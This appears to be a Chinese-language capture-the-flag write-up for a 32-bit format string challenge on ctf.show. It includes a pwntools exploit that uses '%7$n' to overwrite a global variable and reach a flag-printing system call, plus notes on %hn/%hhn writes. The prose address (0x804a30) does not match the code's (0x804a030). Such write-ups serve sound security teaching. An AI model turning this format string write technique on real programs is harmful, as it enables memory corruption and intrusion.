checksec检查程序
32位nx保护
ida可以看到程序有格式化字符串漏洞,并且num=16就会给我们执行systm(“cat flag”)
查看num的位置
是 在bss段上的地址是0x804a30
运行程序确定偏移为7
那么我们该如何将num改写成16呢
需要用到的是
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
构造exp:
from pwn import*
r=remote("pwn.challenge.ctf.show",28195)
num_addr=0x804a030
payload=p32(num_addr)+b'a'*12+b'%7$n'
r.sendline(payload)
r.interactive()
tip:
payload为何要这样构造因为32位下地址占4字节,所以我们要补齐16字节,这样n就会把16写入num
至于大数要如何修改
用的就是hn 和hhn分别可以控制双字节和单字节写入例如a=0x 11 22 33 44
a__addr a_addr+1 ... 这样写入即可